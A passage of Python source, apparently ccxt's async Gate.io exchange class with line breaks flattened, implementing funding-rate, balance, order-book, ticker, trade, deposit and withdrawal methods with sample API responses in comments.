28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # ] # result = self.parse_funding_rates(response) return self.filter_by_array(result, 'symbol', symbols) def parse_funding_rate(self, contract, market=None): # # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # marketId = self.safe_string(contract, 'name') symbol = self.safe_symbol(marketId, market) markPrice = self.safe_number(contract, 'mark_price') indexPrice = self.safe_number(contract, 'index_price') interestRate = self.safe_number(contract, 'interest_rate') fundingRate = self.safe_number(contract, 'funding_rate') fundingTime = self.safe_integer(contract, 'funding_next_apply') * 1000 fundingRateIndicative = self.safe_number(contract, 'funding_rate_indicative') return { 'info': contract, 'symbol': symbol, 'markPrice': markPrice, 'indexPrice': indexPrice, 'interestRate': interestRate, 'estimatedSettlePrice': None, 'timestamp': None, 'datetime': None, 'fundingRate': fundingRate, 'fundingTimestamp': fundingTime, 'fundingDatetime': self.iso8601(fundingTime), 'nextFundingRate': fundingRateIndicative, 'nextFundingTimestamp': None, 'nextFundingDatetime': None, 'previousFundingRate': None, 'previousFundingTimestamp': None, 'previousFundingDatetime': None, } async def fetch_network_deposit_address(self, code, params={}): await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = await self.privateWalletGetDepositAddress(self.extend(request, params)) addresses = self.safe_value(response, 'multichain_addresses') currencyId = self.safe_string(response, 'currency') code = self.safe_currency_code(currencyId) result = {} for i in range(0, len(addresses)): entry = addresses[i] # # { # "chain": "ETH", # "address": "0x359a697945E79C7e17b634675BD73B33324E9408", # "payment_id": "", # "payment_name": "", # "obtain_failed": "0" # } # obtainFailed = self.safe_integer(entry, 'obtain_failed') if obtainFailed: continue network = self.safe_string(entry, 'chain') address = self.safe_string(entry, 'address') tag = self.safe_string(entry, 'payment_id') tagLength = len(tag) tag = tag if tagLength else None result[network] = { 'info': entry, 'code': code, 'address': address, 'tag': tag, } return result async def fetch_deposit_address(self, code, params={}): await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = await self.privateWalletGetDepositAddress(self.extend(request, params)) # # { # "currency": "XRP", # "address": "rHcFoo6a9qT5NHiVn1THQRhsEGcxtYCV4d 391331007", # "multichain_addresses": [ # { # "chain": "XRP", # "address": "rHcFoo6a9qT5NHiVn1THQRhsEGcxtYCV4d", # "payment_id": "391331007", # "payment_name": "Tag", # "obtain_failed": 0 # } # ] # } # currencyId = self.safe_string(response, 'currency') code = self.safe_currency_code(currencyId) addressField = self.safe_string(response, 'address') tag = None address = None if addressField.find(' ') >= 0: splitted = addressField.split(' ') address = splitted[0] tag = splitted[1] else: address = addressField return { 'info': response, 'code': code, 'address': address, 'tag': tag, 'network': None, } async def fetch_trading_fee(self, symbol, params={}): await self.load_markets() market = self.market(symbol) request = { 'currency_pair': market['id'], } response = await self.privateWalletGetFee(self.extend(request, params)) # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # return self.parse_trading_fee(response, market) async def fetch_trading_fees(self, params={}): await self.load_markets() response = await self.privateWalletGetFee(params) # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # return self.parse_trading_fees(response) def parse_trading_fees(self, response): result = {} for i in range(0, len(self.symbols)): symbol = self.symbols[i] market = self.market(symbol) result[symbol] = self.parse_trading_fee(response, market) return result def parse_trading_fee(self, info, market=None): # # { # "user_id": 1486602, # "taker_fee": "0.002", # "maker_fee": "0.002", # "gt_discount": True, # "gt_taker_fee": "0.0015", # "gt_maker_fee": "0.0015", # "loan_fee": "0.18", # "point_type": "0", # "futures_taker_fee": "0.0005", # "futures_maker_fee": "0" # } # contract = self.safe_value(market, 'contract') takerKey = 'futures_taker_fee' if contract else 'taker_fee' makerKey = 'futures_maker_fee' if contract else 'maker_fee' return { 'info': info, 'symbol': self.safe_string(market, 'symbol'), 'maker': self.safe_number(info, makerKey), 'taker': self.safe_number(info, takerKey), } async def fetch_transaction_fees(self, codes=None, params={}): await self.load_markets() response = await self.privateWalletGetWithdrawStatus(params) # # { # "currency": "MTN", # "name": "Medicalchain", # "name_cn": "Medicalchain", # "deposit": "0", # "withdraw_percent": "0%", # "withdraw_fix": "900", # "withdraw_day_limit": "500000", # "withdraw_day_limit_remain": "500000", # "withdraw_amount_mini": "900.1", # "withdraw_eachtime_limit": "90000000000", # "withdraw_fix_on_chains": { # "ETH": "900" # } # } # withdrawFees = {} for i in range(0, len(response)): entry = response[i] currencyId = self.safe_string(entry, 'currency') code = self.safe_currency_code(currencyId) withdrawFees[code] = {} withdrawFix = self.safe_value(entry, 'withdraw_fix_on_chains') if withdrawFix is None: withdrawFix = {} withdrawFix[code] = self.safe_number(entry, 'withdraw_fix') keys = list(withdrawFix.keys()) for i in range(0, len(keys)): key = keys[i] withdrawFees[code][key] = self.parse_number(withdrawFix[key]) return { 'info': response, 'withdraw': withdrawFees, 'deposit': {}, } async def fetch_funding_history(self, symbol=None, since=None, limit=None, params={}): await self.load_markets() # defaultType = 'future' market = None if symbol is not None: market = self.market(symbol) type, query = self.handle_market_type_and_params('fetchFundingHistory', market, params) request, requestParams = self.prepare_request(market, type, query) request['type'] = 'fund' # 'dnw' 'pnl' 'fee' 'refr' 'fund' 'point_dnw' 'point_fee' 'point_refr' if since is not None: request['from'] = since / 1000 if limit is not None: request['limit'] = limit method = self.get_supported_mapping(type, { 'swap': 'privateFuturesGetSettleAccountBook', 'future': 'privateDeliveryGetSettleAccountBook', }) response = await getattr(self, method)(self.extend(request, requestParams)) # # [ # { # "time": 1646899200, # "change": "-0.027722", # "balance": "11.653120591841", # "text": "XRP_USDT", # "type": "fund" # }, # ... # ] # return self.parse_funding_histories(response, symbol, since, limit) def parse_funding_histories(self, response, symbol, since, limit): result = [] for i in range(0, len(response)): entry = response[i] funding = self.parse_funding_history(entry) result.append(funding) sorted = self.sort_by(result, 'timestamp') return self.filter_by_symbol_since_limit(sorted, symbol, since, limit) def parse_funding_history(self, info, market=None): # # { # "time": 1646899200, # "change": "-0.027722", # "balance": "11.653120591841", # "text": "XRP_USDT", # "type": "fund" # } # timestamp = self.safe_timestamp(info, 'time') marketId = self.safe_string(info, 'text') market = self.safe_market(marketId, market) return { 'info': info, 'symbol': self.safe_string(market, 'symbol'), 'code': self.safe_string(market, 'settle'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'id': None, 'amount': self.safe_number(info, 'change'), } async def fetch_order_book(self, symbol, limit=None, params={}): await self.load_markets() market = self.market(symbol) # # request = { # 'currency_pair': market['id'], # 'interval': '0', # depth, 0 means no aggregation is applied, default to 0 # 'limit': limit, # maximum number of order depth data in asks or bids # 'with_id': True, # return order book ID # } # request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetOrderBook', 'margin': 'publicSpotGetOrderBook', 'swap': 'publicFuturesGetSettleOrderBook', 'future': 'publicDeliveryGetSettleOrderBook', }) if limit is not None: request['limit'] = limit # default 10, max 100 request['with_id'] = True response = await getattr(self, method)(self.extend(request, query)) # # SPOT # # { # "id": 6358770031 # "current": 1634345973275, # "update": 1634345973271, # "asks": [ # ["2.2241","12449.827"], # ["2.2242","200"], # ["2.2244","826.931"], # ["2.2248","3876.107"], # ["2.225","2377.252"], # ["2.22509","439.484"], # ["2.2251","1489.313"], # ["2.2253","714.582"], # ["2.2254","1349.784"], # ["2.2256","234.701"]], # "bids": [ # ["2.2236","32.465"], # ["2.2232","243.983"], # ["2.2231","32.207"], # ["2.223","449.827"], # ["2.2228","7.918"], # ["2.2227","12703.482"], # ["2.2226","143.033"], # ["2.2225","143.027"], # ["2.2224","1369.352"], # ["2.2223","756.063"] # ] # } # # Perpetual Swap # # { # "id": 6358770031 # "current": 1634350208.745, # "asks": [ # {"s": 24909, "p": "61264.8"}, # {"s": 81, "p": "61266.6"}, # {"s": 2000, "p": "61267.6"}, # {"s": 490, "p": "61270.2"}, # {"s": 12, "p": "61270.4"}, # {"s": 11782, "p": "61273.2"}, # {"s": 14666, "p": "61273.3"}, # {"s": 22541, "p": "61273.4"}, # {"s": 33, "p": "61273.6"}, # {"s": 11980, "p": "61274.5"} # ], # "bids": [ # {"s": 41844, "p": "61264.7"}, # {"s": 13783, "p": "61263.3"}, # {"s": 1143, "p": "61259.8"}, # {"s": 81, "p": "61258.7"}, # {"s": 2471, "p": "61257.8"}, # {"s": 2471, "p": "61257.7"}, # {"s": 2471, "p": "61256.5"}, # {"s": 3, "p": "61254.2"}, # {"s": 114, "p": "61252.4"}, # {"s": 14372, "p": "61248.6"} # ], # "update": 1634350208.724 # } # timestamp = self.safe_integer(response, 'current') if not market['spot']: timestamp = timestamp * 1000 priceKey = 0 if market['spot'] else 'p' amountKey = 1 if market['spot'] else 's' nonce = self.safe_integer(response, 'id') result = self.parse_order_book(response, symbol, timestamp, 'bids', 'asks', priceKey, amountKey) result['nonce'] = nonce return result async def fetch_ticker(self, symbol, params={}): await self.load_markets() market = self.market(symbol) request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetTickers', 'margin': 'publicSpotGetTickers', 'swap': 'publicFuturesGetSettleTickers', 'future': 'publicDeliveryGetSettleTickers', }) response = await getattr(self, method)(self.extend(request, query)) ticker = self.safe_value(response, 0) return self.parse_ticker(ticker, market) def parse_ticker(self, ticker, market=None): # # SPOT # # { # "currency_pair": "KFC_USDT", # "last": "7.255", # "lowest_ask": "7.298", # "highest_bid": "7.218", # "change_percentage": "-1.18", # "base_volume": "1219.053687865", # "quote_volume": "8807.40299875455", # "high_24h": "7.262", # "low_24h": "7.095" # } # # LINEAR/DELIVERY # # { # "contract": "BTC_USDT", # "last": "6432", # "low_24h": "6278", # "high_24h": "6790", # "change_percentage": "4.43", # "total_size": "32323904", # "volume_24h": "184040233284", # "volume_24h_btc": "28613220", # "volume_24h_usd": "184040233284", # "volume_24h_base": "28613220", # "volume_24h_quote": "184040233284", # "volume_24h_settle": "28613220", # "mark_price": "6534", # "funding_rate": "0.0001", # "funding_rate_indicative": "0.0001", # "index_price": "6531" # } # marketId = self.safe_string_2(ticker, 'currency_pair', 'contract') symbol = self.safe_symbol(marketId, market) last = self.safe_string(ticker, 'last') ask = self.safe_string(ticker, 'lowest_ask') bid = self.safe_string(ticker, 'highest_bid') high = self.safe_string(ticker, 'high_24h') low = self.safe_string(ticker, 'low_24h') baseVolume = self.safe_string_2(ticker, 'base_volume', 'volume_24h_base') quoteVolume = self.safe_string_2(ticker, 'quote_volume', 'volume_24h_quote') percentage = self.safe_string(ticker, 'change_percentage') return self.safe_ticker({ 'symbol': symbol, 'timestamp': None, 'datetime': None, 'high': high, 'low': low, 'bid': bid, 'bidVolume': None, 'ask': ask, 'askVolume': None, 'vwap': None, 'open': None, 'close': last, 'last': last, 'previousClose': None, 'change': None, 'percentage': percentage, 'average': None, 'baseVolume': baseVolume, 'quoteVolume': quoteVolume, 'info': ticker, }, market, False) async def fetch_tickers(self, symbols=None, params={}): await self.load_markets() type, query = self.handle_market_type_and_params('fetchTickers', None, params) request, requestParams = self.prepare_request(None, type, query) method = self.get_supported_mapping(type, { 'spot': 'publicSpotGetTickers', 'margin': 'publicSpotGetTickers', 'swap': 'publicFuturesGetSettleTickers', 'future': 'publicDeliveryGetSettleTickers', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_tickers(response, symbols) def fetch_balance_helper(self, entry): account = self.account() account['used'] = self.safe_string_2(entry, 'freeze', 'locked') account['free'] = self.safe_string(entry, 'available') account['total'] = self.safe_string(entry, 'total') return account async def fetch_balance(self, params={}): """ :param dict params: exchange specific parameters :param str params['type']: spot, margin, swap or future, if not provided self.options['defaultType'] is used :param str params['settle']: 'btc' or 'usdt' - settle currency for perpetual swap and future - default="usdt" for swap and "btc" for future :param str params['marginMode']: 'cross' or 'isolated' - marginMode for margin trading if not provided self.options['defaultMarginMode'] is used :param str params['symbol']: margin only - unified ccxt symbol """ await self.load_markets() symbol = self.safe_string(params, 'symbol') params = self.omit(params, 'symbol') type, query = self.handle_market_type_and_params('fetchBalance', None, params) request, requestParams = self.prepare_request(None, type, query) marginMode, requestQuery = self.get_margin_mode(False, requestParams) if symbol is not None: market = self.market(symbol) request['currency_pair'] = market['id'] method = self.get_supported_mapping(type, { 'spot': self.get_supported_mapping(marginMode, { 'spot': 'privateSpotGetAccounts', 'margin': 'privateMarginGetAccounts', 'cross_margin': 'privateMarginGetCrossAccounts', }), 'funding': 'privateMarginGetFundingAccounts', 'swap': 'privateFuturesGetSettleAccounts', 'future': 'privateDeliveryGetSettleAccounts', }) response = await getattr(self, method)(self.extend(request, requestQuery)) contract = (type == 'swap' or type == 'future') if contract: response = [response] # # Spot / margin funding # # [ # { # "currency": "DBC", # "available": "0", # "locked": "0" # "lent": "0", # margin funding only # "total_lent": "0" # margin funding only # }, # ... # ] # # Margin # # [ # { # "currency_pair": "DOGE_USDT", # "locked": False, # "risk": "9999.99", # "base": { # "currency": "DOGE", # "available": "0", # "locked": "0", # "borrowed": "0", # "interest": "0" # }, # "quote": { # "currency": "USDT", # "available": "0.73402", # "locked": "0", # "borrowed": "0", # "interest": "0" # } # }, # ... # ] # # Cross margin # # { # "user_id": 10406147, # "locked": False, # "balances": { # "USDT": { # "available": "1", # "freeze": "0", # "borrowed": "0", # "interest": "0" # } # }, # "total": "1", # "borrowed": "0", # "interest": "0", # "risk": "9999.99" # } # # Perpetual Swap # # { # order_margin: "0", # point: "0", # bonus: "0", # history: { # dnw: "2.1321", # pnl: "11.5351", # refr: "0", # point_fee: "0", # fund: "-0.32340576684", # bonus_dnw: "0", # point_refr: "0", # bonus_offset: "0", # fee: "-0.20132775", # point_dnw: "0", # }, # unrealised_pnl: "13.315100000006", # total: "12.51345151332", # available: "0", # in_dual_mode: False, # currency: "USDT", # position_margin: "12.51345151332", # user: "6333333", # } # # Delivery Future # # { # order_margin: "0", # point: "0", # history: { # dnw: "1", # pnl: "0", # refr: "0", # point_fee: "0", # point_dnw: "0", # settle: "0", # settle_fee: "0", # point_refr: "0", # fee: "0", # }, # unrealised_pnl: "0", # total: "1", # available: "1", # currency: "USDT", # position_margin: "0", # user: "6333333", # } # result = { 'info': response, } crossMargin = marginMode == 'cross_margin' margin = marginMode == 'margin' data = response if 'balances' in data: # True for cross_margin flatBalances = [] balances = self.safe_value(data, 'balances', []) # inject currency and create an artificial balance object # so it can follow the existent flow keys = list(balances.keys()) for i in range(0, len(keys)): currencyId = keys[i] content = balances[currencyId] content['currency'] = currencyId flatBalances.append(content) data = flatBalances for i in range(0, len(data)): entry = data[i] if margin and not crossMargin: marketId = self.safe_string(entry, 'currency_pair') symbol = self.safe_symbol(marketId, None, '_') base = self.safe_value(entry, 'base', {}) quote = self.safe_value(entry, 'quote', {}) baseCode = self.safe_currency_code(self.safe_string(base, 'currency', {})) quoteCode = self.safe_currency_code(self.safe_string(quote, 'currency', {})) subResult = {} subResult[baseCode] = self.fetch_balance_helper(base) subResult[quoteCode] = self.fetch_balance_helper(quote) result[symbol] = self.safe_balance(subResult) else: code = self.safe_currency_code(self.safe_string(entry, 'currency', {})) result[code] = self.fetch_balance_helper(entry) return result if (margin and not crossMargin) else self.safe_balance(result) async def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): await self.load_markets() market = self.market(symbol) price = self.safe_string(params, 'price') request = {} request, params = self.prepare_request(market, None, params) request['interval'] = self.timeframes[timeframe] method = 'publicSpotGetCandlesticks' if market['contract']: maxLimit = 1999 limit = maxLimit if (limit is None) else min(limit, maxLimit) if market['future']: method = 'publicDeliveryGetSettleCandlesticks' elif market['swap']: method = 'publicFuturesGetSettleCandlesticks' isMark = (price == 'mark') isIndex = (price == 'index') if isMark or isIndex: request['contract'] = price + '_' + market['id'] params = self.omit(params, 'price') else: maxLimit = 1000 limit = maxLimit if (limit is None) else min(limit, maxLimit) request['limit'] = limit if since is not None: duration = self.parse_timeframe(timeframe) request['from'] = int(since / 1000) toTimestamp = self.sum(request['from'], limit * duration - 1) currentTimestamp = self.seconds() request['to'] = min(toTimestamp, currentTimestamp) response = await getattr(self, method)(self.extend(request, params)) return self.parse_ohlcvs(response, market, timeframe, since, limit) async def fetch_mark_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): request = { 'price': 'mark', } return await self.fetch_ohlcv(symbol, timeframe, since, limit, self.extend(request, params)) async def fetch_funding_rate_history(self, symbol=None, since=None, limit=None, params={}): if symbol is None: raise ArgumentsRequired(self.id + ' fetchFundingRateHistory() requires a symbol argument') await self.load_markets() market = self.market(symbol) if not market['swap']: raise BadSymbol(self.id + ' fetchFundingRateHistory() supports swap contracts only') request, query = self.prepare_request(market, None, params) if limit is not None: request['limit'] = limit method = 'publicFuturesGetSettleFundingRate' response = await getattr(self, method)(self.extend(request, query)) # # { # "r": "0.00063521", # "t": "1621267200000", # } # rates = [] for i in range(0, len(response)): entry = response[i] timestamp = self.safe_timestamp(entry, 't') rates.append({ 'info': entry, 'symbol': symbol, 'fundingRate': self.safe_number(entry, 'r'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), }) sorted = self.sort_by(rates, 'timestamp') return self.filter_by_symbol_since_limit(sorted, market['symbol'], since, limit) async def fetch_index_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): request = { 'price': 'index', } return await self.fetch_ohlcv(symbol, timeframe, since, limit, self.extend(request, params)) def parse_ohlcv(self, ohlcv, market=None): # # Spot market candles # # [ # "1626163200", # Unix timestamp in seconds # "346711.933138181617", # Trading volume # "33165.23", # Close price # "33260", # Highest price # "33117.6", # Lowest price # "33184.47" # Open price # ] # # Mark and Index price candles # # { # "t":1632873600, # Unix timestamp in seconds # "o": "41025", # Open price # "h": "41882.17", # Highest price # "c": "41776.92", # Close price # "l": "40783.94" # Lowest price # } # if isinstance(ohlcv, list): return [ self.safe_timestamp(ohlcv, 0), # unix timestamp in seconds self.safe_number(ohlcv, 5), # open price self.safe_number(ohlcv, 3), # highest price self.safe_number(ohlcv, 4), # lowest price self.safe_number(ohlcv, 2), # close price self.safe_number(ohlcv, 1), # trading volume ] else: # Mark and Index price candles return [ self.safe_timestamp(ohlcv, 't'), # unix timestamp in seconds self.safe_number(ohlcv, 'o'), # open price self.safe_number(ohlcv, 'h'), # highest price self.safe_number(ohlcv, 'l'), # lowest price self.safe_number(ohlcv, 'c'), # close price self.safe_number(ohlcv, 'v'), # trading volume, None for mark or index price ] async def fetch_trades(self, symbol, since=None, limit=None, params={}): await self.load_markets() market = self.market(symbol) # # spot # # request = { # 'currency_pair': market['id'], # 'limit': limit, # maximum number of records to be returned in a single list # 'last_id': 'id', # specify list staring point using the id of last record in previous list-query results # 'reverse': False, # True to retrieve records where id is smaller than the specified last_id, False to retrieve records where id is larger than the specified last_id # } # # swap, future # # request = { # 'settle': market['settleId'], # 'contract': market['id'], # 'limit': limit, # maximum number of records to be returned in a single list # 'last_id': 'id', # specify list staring point using the id of last record in previous list-query results # 'from': since / 1000), # starting time in seconds, if not specified, to and limit will be used to limit response items # 'to': self.seconds(), # end time in seconds, default to current time # } # request, query = self.prepare_request(market, None, params) method = self.get_supported_mapping(market['type'], { 'spot': 'publicSpotGetTrades', 'margin': 'publicSpotGetTrades', 'swap': 'publicFuturesGetSettleTrades', 'future': 'publicDeliveryGetSettleTrades', }) if limit is not None: request['limit'] = limit # default 100, max 1000 if since is not None and (market['contract']): request['from'] = int(since / 1000) response = await getattr(self, method)(self.extend(request, query)) # # spot # # [ # { # id: "1852958144", # create_time: "1634673259", # create_time_ms: "1634673259378.105000", # currency_pair: "ADA_USDT", # side: "sell", # amount: "307.078", # price: "2.104", # } # ] # # perpetual swap # # [ # { # size: "2", # id: "2522911", # create_time_ms: "1634673380.182", # create_time: "1634673380.182", # contract: "ADA_USDT", # price: "2.10486", # } # ] # return self.parse_trades(response, market, since, limit) async def fetch_my_trades(self, symbol=None, since=None, limit=None, params={}): """ Fetch personal trading history :param str symbol: The symbol for the market to fetch trades for :param int since: The earliest timestamp, in ms, that fetched trades were made :param int limit: The max number of trades to fetch :param dict params: Exchange specific parameters :param str params['marginMode']: 'cross' or 'isolated' - marginMode for margin trading if not provided self.options['defaultMarginMode'] is used :param str params['type']: 'spot', 'swap', or 'future', if not provided self.options['defaultMarginMode'] is used :param int params['till']: The latest timestamp, in ms, that fetched trades were made :param int params['page']: *spot only* Page number :param str params['order_id']: *spot only* Filter trades with specified order ID. symbol is also required if self field is present :param str params['order']: *contract only* Futures order ID, return related data only if specified :param int params['offset']: *contract only* list offset, starting from 0 :param str params['last_id']: *contract only* specify list staring point using the id of last record in previous list-query results :param int params['count_total']: *contract only* whether to return total number matched, default to 0(no return) :returns: a list of `order structures <https://docs.ccxt.com/en/latest/manual.html#order-structure>` """ await self.load_markets() type = None marginMode = None request = {} market = self.market(symbol) if (symbol is not None) else None till = self.safe_number(params, 'till') params = self.omit(params, 'till') type, params = self.handle_market_type_and_params('fetchMyTrades', market, params) contract = (type == 'swap') or (type == 'future') if contract: request, params = self.prepare_request(market, type, params) else: if market is not None: request['currency_pair'] = market['id'] # Should always be set for non-stop marginMode, params = self.get_margin_mode(False, params) request['account'] = marginMode if limit is not None: request['limit'] = limit # default 100, max 1000 if since is not None: request['from'] = int(since / 1000) if till is not None: request['to'] = int(till / 1000) method = self.get_supported_mapping(type, { 'spot': 'privateSpotGetMyTrades', 'margin': 'privateSpotGetMyTrades', 'swap': 'privateFuturesGetSettleMyTrades', 'future': 'privateDeliveryGetSettleMyTrades', }) response = await getattr(self, method)(self.extend(request, params)) # # spot # # [ # { # "id": "2876130500", # "create_time": "1645464610", # "create_time_ms": "1645464610777.399200", # "currency_pair": "DOGE_USDT", # "side": "sell", # "role": "taker", # "amount": "10.97", # "price": "0.137384", # "order_id": "125924049993", # "fee": "0.00301420496", # "fee_currency": "USDT", # "point_fee": "0", # "gt_fee": "0" # } # ] # # perpetual swap # # [ # { # "size": -5, # "order_id": "130264979823", # "id": 26884791, # "role": "taker", # "create_time": 1645465199.5472, # "contract": "DOGE_USDT", # "price": "0.136888" # } # ] # # future # # [ # { # "id": 121234231, # "create_time": 1514764800.123, # "contract": "BTC_USDT", # "order_id": "21893289839", # "size": 100, # "price": "100.123", # "role": "taker" # } # ] # return self.parse_trades(response, market, since, limit) def parse_trade(self, trade, market=None): # # public # # { # "id": "1334253759", # "create_time": "1626342738", # "create_time_ms": "1626342738331.497000", # "currency_pair": "BTC_USDT", # "side": "sell", # "amount": "0.0022", # "price": "32452.16" # } # # public ws # # { # id: 221994511, # time: 1580311438.618647, # price: '9309', # amount: '0.0019', # type: 'sell' # } # # spot rest # # { # "id": "2876130500", # "create_time": "1645464610", # "create_time_ms": "1645464610777.399200", # "currency_pair": "DOGE_USDT", # "side": "sell", # "role": "taker", # "amount": "10.97", # "price": "0.137384", # "order_id": "125924049993", # "fee": "0.00301420496", # "fee_currency": "USDT", # "point_fee": "0","gt_fee":"0" # } # # perpetual swap rest # # { # "size": -5, # "order_id": "130264979823", # "id": 26884791, # "role": "taker", # "create_time": 1645465199.5472, # "contract": "DOGE_USDT", # "price": "0.136888" # } # # future rest # # { # "id": 121234231, # "create_time": 1514764800.123, # "contract": "BTC_USDT", # "order_id": "21893289839", # "size": 100, # "price": "100.123", # "role": "taker" # } # id = self.safe_string(trade, 'id') timestamp = self.safe_timestamp_2(trade, 'time', 'create_time') timestamp = self.safe_integer(trade, 'create_time_ms', timestamp) marketId = self.safe_string_2(trade, 'currency_pair', 'contract') symbol = self.safe_symbol(marketId, market) amountString = self.safe_string_2(trade, 'amount', 'size') priceString = self.safe_string(trade, 'price') contractSide = 'sell' if Precise.string_lt(amountString, '0') else 'buy' amountString = Precise.string_abs(amountString) side = self.safe_string_2(trade, 'side', 'type', contractSide) orderId = self.safe_string(trade, 'order_id') gtFee = self.safe_string(trade, 'gt_fee') feeCurrency = None feeCostString = None if gtFee == '0': feeCurrency = self.safe_string(trade, 'fee_currency') feeCostString = self.safe_string(trade, 'fee') else: feeCurrency = 'GT' feeCostString = gtFee fee = { 'cost': feeCostString, 'currency': feeCurrency, } takerOrMaker = self.safe_string(trade, 'role') return self.safe_trade({ 'info': trade, 'id': id, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'order': orderId, 'type': None, 'side': side, 'takerOrMaker': takerOrMaker, 'price': priceString, 'amount': amountString, 'cost': None, 'fee': fee, }, market) async def fetch_deposits(self, code=None, since=None, limit=None, params={}): await self.load_markets() request = {} currency = None if code is not None: currency = self.currency(code) request['currency'] = currency['id'] if limit is not None: request['limit'] = limit if since is not None: start = int(since / 1000) request['from'] = start request['to'] = self.sum(start, 30 * 24 * 60 * 60) response = await self.privateWalletGetDeposits(self.extend(request, params)) return self.parse_transactions(response, currency) async def fetch_withdrawals(self, code=None, since=None, limit=None, params={}): await self.load_markets() request = {} currency = None if code is not None: currency = self.currency(code) request['currency'] = currency['id'] if limit is not None: request['limit'] = limit if since is not None: start = int(since / 1000) request['from'] = start request['to'] = self.sum(start, 30 * 24 * 60 * 60) response = await self.privateWalletGetWithdrawals(self.extend(request, params)) return self.parse_transactions(response, currency) async def withdraw(self, code, amount, address, tag=None, params={}): tag, params = self.handle_withdraw_tag_and_params(tag, params) self.check_address(address) await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], 'address': address, 'amount': self.currency_to_precision(code, amount), } if tag is not None: request['memo'] = tag networks = self.safe_value(self.options, 'networks', {}) network = self.safe_string_upper(params, 'network') # self line allows the user to specify either ERC20 or ETH network = self.safe_string_lower(networks, network, network) # handle ETH>ERC20 alias if network is not None: request['chain'] = network params = self.omit(params, 'network') response = await self.privateWithdrawalsPost(self.extend(request, params)) # # { # "id": "w13389675", # "currency": "USDT", # "amount": "50", # "address": "TUu2rLFrmzUodiWfYki7QCNtv1akL682p1", # "memo": null # } # return self.parse_transaction(response, currency) def parse_transaction_status(self, status): statuses = { 'PEND': 'pending', 'REQUEST': 'pending', 'DMOVE': 'pending', 'CANCEL': 'failed', 'DONE': 'ok', 'BCODE': 'ok', # GateCode withdrawal } return self.safe_string(statuses, status, status) def parse_transaction_type(self, type): types = { 'd': 'deposit', 'w': 'withdrawal', } return self.safe_string(types, type, type) def parse_transaction(self, transaction, currency=None): # # deposits # # { # "id": "d33361395", # "currency": "USDT_TRX", # "address": "TErdnxenuLtXfnMafLbfappYdHtnXQ5U4z", # "amount": "100", # "txid": "ae9374de34e558562fe18cbb1bf9ab4d9eb8aa7669d65541c9fa2a532c1474a0", # "timestamp": "1626345819", # "status": "DONE", # "memo": "" # } # # withdraw # # { # "id": "w13389675", # "currency": "USDT", # "amount": "50", # "address": "TUu2rLFrmzUodiWfYki7QCNtv1akL682p1", # "memo": null # } # id = self.safe_string(transaction, 'id') type = None amount = self.safe_string(transaction, 'amount') if id[0] == 'b': # GateCode handling type = 'deposit' if Precise.string_gt(amount, '0') else 'withdrawal' amount = Precise.string_abs(amount) elif id is not None: type = self.parse_transaction_type(id[0]) currencyId = self.safe_string(transaction, 'currency') code = self.safe_currency_code(currencyId) txid = self.safe_string(transaction, 'txid') rawStatus = self.safe_string(transaction, 'status') status = self.parse_transaction_status(rawStatus) address = self.safe_string(transaction, 'address') fee = self.safe_number(transaction, 'fee') tag = self.safe_string(transaction, 'memo') if tag == '': tag = None timestamp = self.safe_timestamp(transaction, 'timestamp') return { 'info': transaction, 'id': id, 'txid': txid, 'currency': code, 'amount': self.parse_number(amount), 'network': None, 'address': address, 'addressTo': None, 'addressFrom': None, 'tag': tag, 'tagTo': None, 'tagFrom': None, 'status': status, 'type': type, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'updated': None, 'fee': fee, } async def create_order(self, symbol, type, side, amount, price=None, params={}): """ Create an order on the exchange :param str symbol: Unified CCXT market symbol :param str type: "limit" or "market" *"market" is contract only* :param str side: "buy" or "sell" :param float amount: the amount of currency to trade :param float price: *ignored in "market" orders* the price at which the order is to be fullfilled at in units of the quote currency :param dict params: Extra parameters specific to the exchange API endpoint :param float params['stopPrice']: The price at which a trigger order is triggered at :param str params['timeInForce']: "GTC", "IOC", or "PO" :param str params['marginMode']: 'cross' or 'isolated' - marginMode for margin trading if not provided self.options['defaultMarginMode'] is used :param int params['iceberg']: Amount to display for the iceberg order, Null or 0 for normal orders, Set to -1 to hide the order completely :param str 